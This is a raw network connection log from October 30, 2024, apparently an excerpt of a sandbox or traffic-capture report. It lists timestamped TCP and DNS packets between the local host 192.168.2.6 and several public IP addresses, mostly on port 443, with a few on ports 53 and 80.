Oct 30, 2024 15:59:25.171286106 CET	49819	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:25.865288973 CET	49820	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:25.865329027 CET	443	49820	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:25.865344048 CET	49820	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:25.865350962 CET	443	49820	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:25.870866060 CET	49818	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:25.870908976 CET	443	49818	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:25.870927095 CET	49818	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:25.870935917 CET	443	49818	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:25.871784925 CET	49819	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:25.871819973 CET	443	49819	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:25.871841908 CET	49819	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:25.871850967 CET	443	49819	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:26.366935968 CET	49821	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:26.366986990 CET	443	49821	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:26.367069006 CET	49821	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:26.398154020 CET	49824	443	192.168.2.6	94.245.104.56
Oct 30, 2024 15:59:26.398206949 CET	443	49824	94.245.104.56	192.168.2.6
Oct 30, 2024 15:59:26.398300886 CET	49824	443	192.168.2.6	94.245.104.56
Oct 30, 2024 15:59:26.466464996 CET	49821	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:26.466509104 CET	443	49821	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:26.476280928 CET	49824	443	192.168.2.6	94.245.104.56
Oct 30, 2024 15:59:26.476310968 CET	443	49824	94.245.104.56	192.168.2.6
Oct 30, 2024 15:59:26.487370014 CET	49829	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:26.487386942 CET	443	49829	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:26.487442017 CET	49829	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:26.492568016 CET	49830	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:26.492629051 CET	443	49830	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:26.492701054 CET	49830	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:26.496828079 CET	49829	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:26.496854067 CET	443	49829	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:26.505776882 CET	49830	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:26.505822897 CET	443	49830	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:26.508666992 CET	49707	443	192.168.2.6	20.190.160.17
Oct 30, 2024 15:59:26.508744955 CET	49707	443	192.168.2.6	20.190.160.17
Oct 30, 2024 15:59:26.514188051 CET	443	49707	20.190.160.17	192.168.2.6
Oct 30, 2024 15:59:26.514229059 CET	443	49707	20.190.160.17	192.168.2.6
Oct 30, 2024 15:59:26.514353037 CET	443	49707	20.190.160.17	192.168.2.6
Oct 30, 2024 15:59:26.514375925 CET	443	49707	20.190.160.17	192.168.2.6
Oct 30, 2024 15:59:26.514470100 CET	443	49707	20.190.160.17	192.168.2.6
Oct 30, 2024 15:59:26.750817060 CET	49831	443	192.168.2.6	40.113.103.199
Oct 30, 2024 15:59:26.750871897 CET	443	49831	40.113.103.199	192.168.2.6
Oct 30, 2024 15:59:26.750936031 CET	49831	443	192.168.2.6	40.113.103.199
Oct 30, 2024 15:59:26.753283978 CET	49831	443	192.168.2.6	40.113.103.199
Oct 30, 2024 15:59:26.753302097 CET	443	49831	40.113.103.199	192.168.2.6
Oct 30, 2024 15:59:26.919754982 CET	443	49707	20.190.160.17	192.168.2.6
Oct 30, 2024 15:59:26.919790030 CET	443	49707	20.190.160.17	192.168.2.6
Oct 30, 2024 15:59:26.919800997 CET	443	49707	20.190.160.17	192.168.2.6
Oct 30, 2024 15:59:26.919822931 CET	443	49707	20.190.160.17	192.168.2.6
Oct 30, 2024 15:59:26.919837952 CET	49707	443	192.168.2.6	20.190.160.17
Oct 30, 2024 15:59:26.919850111 CET	443	49707	20.190.160.17	192.168.2.6
Oct 30, 2024 15:59:26.919862032 CET	443	49707	20.190.160.17	192.168.2.6
Oct 30, 2024 15:59:26.919872999 CET	49707	443	192.168.2.6	20.190.160.17
Oct 30, 2024 15:59:26.919919968 CET	49707	443	192.168.2.6	20.190.160.17
Oct 30, 2024 15:59:26.920459986 CET	443	49707	20.190.160.17	192.168.2.6
Oct 30, 2024 15:59:26.920476913 CET	443	49707	20.190.160.17	192.168.2.6
Oct 30, 2024 15:59:26.920516014 CET	49707	443	192.168.2.6	20.190.160.17
Oct 30, 2024 15:59:26.920636892 CET	443	49707	20.190.160.17	192.168.2.6
Oct 30, 2024 15:59:26.920711994 CET	443	49707	20.190.160.17	192.168.2.6
Oct 30, 2024 15:59:26.920727015 CET	443	49707	20.190.160.17	192.168.2.6
Oct 30, 2024 15:59:26.920754910 CET	49707	443	192.168.2.6	20.190.160.17
Oct 30, 2024 15:59:27.025938034 CET	49707	443	192.168.2.6	20.190.160.17
Oct 30, 2024 15:59:27.249917984 CET	443	49829	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:27.250336885 CET	443	49830	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:27.250467062 CET	443	49821	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:27.272480011 CET	49829	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:27.272521019 CET	443	49829	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:27.273217916 CET	49829	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:27.273226976 CET	443	49829	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:27.273578882 CET	49830	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:27.273607016 CET	443	49830	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:27.274059057 CET	49830	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:27.274064064 CET	443	49830	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:27.274342060 CET	49821	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:27.274384975 CET	443	49821	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:27.274734974 CET	49821	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:27.274746895 CET	443	49821	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:27.400574923 CET	443	49829	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:27.400887966 CET	443	49829	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:27.400968075 CET	49829	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:27.401818037 CET	443	49830	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:27.401839018 CET	443	49830	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:27.401916027 CET	49830	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:27.401926994 CET	443	49830	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:27.401958942 CET	443	49830	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:27.402213097 CET	49830	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:27.411099911 CET	49829	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:27.411120892 CET	443	49829	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:27.411145926 CET	49829	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:27.411151886 CET	443	49829	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:27.414591074 CET	49830	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:27.414616108 CET	443	49830	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:27.414630890 CET	49830	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:27.414637089 CET	443	49830	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:27.457946062 CET	443	49821	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:27.458029985 CET	443	49821	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:27.458095074 CET	49821	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:27.531239986 CET	49833	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:27.531287909 CET	443	49833	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:27.531610966 CET	49833	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:27.536710978 CET	49821	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:27.536737919 CET	443	49821	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:27.536752939 CET	49821	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:27.536761045 CET	443	49821	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:27.536936045 CET	49833	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:27.536951065 CET	443	49833	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:27.539797068 CET	49834	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:27.539850950 CET	443	49834	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:27.539930105 CET	49834	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:27.540128946 CET	49834	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:27.540147066 CET	443	49834	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:27.545346975 CET	49835	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:27.545366049 CET	443	49835	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:27.545495033 CET	49835	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:27.554481983 CET	49835	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:27.554500103 CET	443	49835	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:27.563575029 CET	443	49824	94.245.104.56	192.168.2.6
Oct 30, 2024 15:59:27.564733982 CET	49824	443	192.168.2.6	94.245.104.56
Oct 30, 2024 15:59:27.564750910 CET	443	49824	94.245.104.56	192.168.2.6
Oct 30, 2024 15:59:27.565776110 CET	443	49824	94.245.104.56	192.168.2.6
Oct 30, 2024 15:59:27.565871954 CET	49824	443	192.168.2.6	94.245.104.56
Oct 30, 2024 15:59:27.568233967 CET	49824	443	192.168.2.6	94.245.104.56
Oct 30, 2024 15:59:27.568306923 CET	443	49824	94.245.104.56	192.168.2.6
Oct 30, 2024 15:59:27.568780899 CET	49824	443	192.168.2.6	94.245.104.56
Oct 30, 2024 15:59:27.568790913 CET	443	49824	94.245.104.56	192.168.2.6
Oct 30, 2024 15:59:27.758739948 CET	49824	443	192.168.2.6	94.245.104.56
Oct 30, 2024 15:59:27.806600094 CET	443	49824	94.245.104.56	192.168.2.6
Oct 30, 2024 15:59:27.863202095 CET	443	49831	40.113.103.199	192.168.2.6
Oct 30, 2024 15:59:27.863290071 CET	49831	443	192.168.2.6	40.113.103.199
Oct 30, 2024 15:59:27.870856047 CET	49824	443	192.168.2.6	94.245.104.56
Oct 30, 2024 15:59:27.918865919 CET	443	49824	94.245.104.56	192.168.2.6
Oct 30, 2024 15:59:27.918941021 CET	443	49824	94.245.104.56	192.168.2.6
Oct 30, 2024 15:59:27.919006109 CET	49824	443	192.168.2.6	94.245.104.56
Oct 30, 2024 15:59:27.970855951 CET	80	49805	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:27.973014116 CET	49805	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:28.109361887 CET	49831	443	192.168.2.6	40.113.103.199
Oct 30, 2024 15:59:28.109405041 CET	443	49831	40.113.103.199	192.168.2.6
Oct 30, 2024 15:59:28.109889030 CET	443	49831	40.113.103.199	192.168.2.6
Oct 30, 2024 15:59:28.168122053 CET	49831	443	192.168.2.6	40.113.103.199
Oct 30, 2024 15:59:28.268969059 CET	443	49833	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:28.278465986 CET	443	49834	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:28.287142038 CET	443	49835	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:28.331731081 CET	49833	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:28.333693027 CET	49835	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:28.358289957 CET	49834	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:28.371695995 CET	49831	443	192.168.2.6	40.113.103.199
Oct 30, 2024 15:59:28.371947050 CET	49831	443	192.168.2.6	40.113.103.199
Oct 30, 2024 15:59:28.371956110 CET	443	49831	40.113.103.199	192.168.2.6
Oct 30, 2024 15:59:28.372196913 CET	49835	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:28.372203112 CET	443	49835	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:28.372246027 CET	49831	443	192.168.2.6	40.113.103.199
Oct 30, 2024 15:59:28.372967958 CET	49835	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:28.372972965 CET	443	49835	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:28.373269081 CET	49833	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:28.373272896 CET	443	49833	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:28.373684883 CET	49833	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:28.373689890 CET	443	49833	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:28.382157087 CET	49834	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:28.382168055 CET	443	49834	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:28.382704020 CET	49834	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:28.382709026 CET	443	49834	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:28.394000053 CET	49824	443	192.168.2.6	94.245.104.56
Oct 30, 2024 15:59:28.394010067 CET	443	49824	94.245.104.56	192.168.2.6
Oct 30, 2024 15:59:28.419353962 CET	443	49831	40.113.103.199	192.168.2.6
Oct 30, 2024 15:59:28.500128984 CET	443	49833	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:28.500154018 CET	443	49833	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:28.500216007 CET	49833	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:28.500226021 CET	443	49833	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:28.500241041 CET	443	49833	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:28.500291109 CET	49833	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:28.507783890 CET	443	49835	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:28.507802963 CET	443	49835	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:28.507875919 CET	49835	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:28.507878065 CET	443	49835	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:28.507937908 CET	49835	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:28.511558056 CET	443	49834	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:28.511595964 CET	443	49834	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:28.511653900 CET	49834	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:28.515388966 CET	49833	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:28.515398026 CET	443	49833	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:28.515408993 CET	49833	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:28.515413046 CET	443	49833	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:28.517208099 CET	49835	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:28.517213106 CET	443	49835	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:28.517222881 CET	49835	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:28.517225981 CET	443	49835	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:28.519886971 CET	49834	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:28.519917011 CET	443	49834	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:28.519928932 CET	49834	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:28.519934893 CET	443	49834	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:28.529844999 CET	49840	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:28.529858112 CET	443	49840	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:28.529917002 CET	49840	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:28.530402899 CET	49841	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:28.530432940 CET	443	49841	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:28.530489922 CET	49841	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:28.530708075 CET	49842	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:28.530714035 CET	443	49842	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:28.530771017 CET	49842	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:28.530827045 CET	49840	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:28.530838966 CET	443	49840	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:28.531112909 CET	49841	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:28.531124115 CET	443	49841	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:28.531287909 CET	49842	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:28.531300068 CET	443	49842	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:28.621366024 CET	443	49831	40.113.103.199	192.168.2.6
Oct 30, 2024 15:59:28.622246981 CET	49831	443	192.168.2.6	40.113.103.199
Oct 30, 2024 15:59:28.622265100 CET	443	49831	40.113.103.199	192.168.2.6
Oct 30, 2024 15:59:28.622287035 CET	49831	443	192.168.2.6	40.113.103.199
Oct 30, 2024 15:59:28.622304916 CET	49831	443	192.168.2.6	40.113.103.199
Oct 30, 2024 15:59:29.267662048 CET	443	49840	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:29.268779993 CET	443	49841	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:29.285821915 CET	443	49842	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:29.323513985 CET	49840	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:29.323549032 CET	443	49840	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:29.324234009 CET	49840	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:29.324242115 CET	443	49840	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:29.324616909 CET	49841	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:29.324645042 CET	443	49841	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:29.325400114 CET	49841	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:29.325411081 CET	443	49841	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:29.366755962 CET	49842	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:29.366791964 CET	443	49842	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:29.367516041 CET	49842	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:29.367526054 CET	443	49842	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:29.451307058 CET	443	49840	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:29.451325893 CET	443	49841	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:29.451417923 CET	443	49841	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:29.451431990 CET	443	49840	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:29.451484919 CET	49841	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:29.451625109 CET	49840	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:29.496418953 CET	443	49842	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:29.496489048 CET	443	49842	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:29.496809959 CET	49842	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:29.508214951 CET	49840	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:29.508241892 CET	443	49840	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:29.508265972 CET	49840	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:29.508272886 CET	443	49840	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:29.511377096 CET	49841	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:29.511392117 CET	443	49841	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:29.511512041 CET	49841	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:29.511518002 CET	443	49841	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:29.512449980 CET	49842	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:29.512456894 CET	443	49842	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:29.512466908 CET	49842	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:29.512470961 CET	443	49842	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:29.513892889 CET	49849	443	192.168.2.6	142.250.186.65
Oct 30, 2024 15:59:29.513909101 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:29.513962030 CET	49849	443	192.168.2.6	142.250.186.65
Oct 30, 2024 15:59:29.514302969 CET	49849	443	192.168.2.6	142.250.186.65
Oct 30, 2024 15:59:29.514317036 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:29.533193111 CET	49850	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:29.533226967 CET	443	49850	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:29.533294916 CET	49850	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:29.533557892 CET	49851	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:29.533596992 CET	443	49851	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:29.533982038 CET	49851	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:29.535871983 CET	49852	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:29.535891056 CET	443	49852	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:29.535999060 CET	49852	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:29.536780119 CET	49850	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:29.536798000 CET	443	49850	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:29.539628029 CET	49851	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:29.539647102 CET	443	49851	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:29.567688942 CET	49852	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:29.567701101 CET	443	49852	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:29.573235035 CET	49860	443	192.168.2.6	18.244.18.122
Oct 30, 2024 15:59:29.573241949 CET	443	49860	18.244.18.122	192.168.2.6
Oct 30, 2024 15:59:29.573298931 CET	49860	443	192.168.2.6	18.244.18.122
Oct 30, 2024 15:59:29.573537111 CET	49860	443	192.168.2.6	18.244.18.122
Oct 30, 2024 15:59:29.573545933 CET	443	49860	18.244.18.122	192.168.2.6
Oct 30, 2024 15:59:29.587013960 CET	49690	53	192.168.2.6	162.159.36.2
Oct 30, 2024 15:59:29.592499971 CET	53	49690	162.159.36.2	192.168.2.6
Oct 30, 2024 15:59:29.592715025 CET	49690	53	192.168.2.6	162.159.36.2
Oct 30, 2024 15:59:29.599119902 CET	53	49690	162.159.36.2	192.168.2.6
Oct 30, 2024 15:59:30.185334921 CET	49690	53	192.168.2.6	162.159.36.2
Oct 30, 2024 15:59:30.191792011 CET	53	49690	162.159.36.2	192.168.2.6
Oct 30, 2024 15:59:30.191911936 CET	49690	53	192.168.2.6	162.159.36.2
Oct 30, 2024 15:59:30.249468088 CET	49696	443	192.168.2.6	13.95.31.18
Oct 30, 2024 15:59:30.249483109 CET	443	49696	13.95.31.18	192.168.2.6
Oct 30, 2024 15:59:30.249557018 CET	49696	443	192.168.2.6	13.95.31.18
Oct 30, 2024 15:59:30.250024080 CET	49696	443	192.168.2.6	13.95.31.18
Oct 30, 2024 15:59:30.250035048 CET	443	49696	13.95.31.18	192.168.2.6
Oct 30, 2024 15:59:30.268263102 CET	443	49851	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:30.268867016 CET	49851	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:30.268891096 CET	443	49851	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:30.269407034 CET	49851	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:30.269412041 CET	443	49851	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:30.281383038 CET	443	49850	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:30.281930923 CET	49850	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:30.281959057 CET	443	49850	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:30.282370090 CET	49850	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:30.282377005 CET	443	49850	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:30.297626972 CET	443	49852	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:30.297991037 CET	49852	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:30.298010111 CET	443	49852	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:30.298413038 CET	49852	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:30.298418999 CET	443	49852	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:30.371608973 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:30.378308058 CET	49849	443	192.168.2.6	142.250.186.65
Oct 30, 2024 15:59:30.378319979 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:30.379003048 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:30.379024982 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:30.379065990 CET	49849	443	192.168.2.6	142.250.186.65
Oct 30, 2024 15:59:30.379071951 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:30.379107952 CET	49849	443	192.168.2.6	142.250.186.65
Oct 30, 2024 15:59:30.379129887 CET	49849	443	192.168.2.6	142.250.186.65
Oct 30, 2024 15:59:30.380039930 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:30.381980896 CET	49849	443	192.168.2.6	142.250.186.65
Oct 30, 2024 15:59:30.382070065 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:30.382174015 CET	49849	443	192.168.2.6	142.250.186.65
Oct 30, 2024 15:59:30.382180929 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:30.400732994 CET	443	49851	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:30.400815010 CET	443	49851	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:30.400871038 CET	49851	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:30.412568092 CET	443	49850	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:30.412648916 CET	443	49850	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:30.412879944 CET	49850	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:30.420265913 CET	443	49860	18.244.18.122	192.168.2.6
Oct 30, 2024 15:59:30.420681953 CET	49860	443	192.168.2.6	18.244.18.122
Oct 30, 2024 15:59:30.420690060 CET	443	49860	18.244.18.122	192.168.2.6
Oct 30, 2024 15:59:30.421844959 CET	443	49860	18.244.18.122	192.168.2.6
Oct 30, 2024 15:59:30.421896935 CET	49860	443	192.168.2.6	18.244.18.122
Oct 30, 2024 15:59:30.423166037 CET	49860	443	192.168.2.6	18.244.18.122
Oct 30, 2024 15:59:30.423252106 CET	443	49860	18.244.18.122	192.168.2.6
Oct 30, 2024 15:59:30.428265095 CET	443	49852	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:30.428328991 CET	443	49852	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:30.428529978 CET	49852	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:30.433259964 CET	49849	443	192.168.2.6	142.250.186.65
Oct 30, 2024 15:59:30.434787035 CET	49851	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:30.434808016 CET	443	49851	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:30.434833050 CET	49851	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:30.434845924 CET	443	49851	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:30.438091040 CET	49850	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:30.438107967 CET	443	49850	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:30.441972017 CET	49852	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:30.441981077 CET	443	49852	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:30.442008972 CET	49852	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:30.442013979 CET	443	49852	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:30.454545975 CET	49709	443	192.168.2.6	13.107.246.45
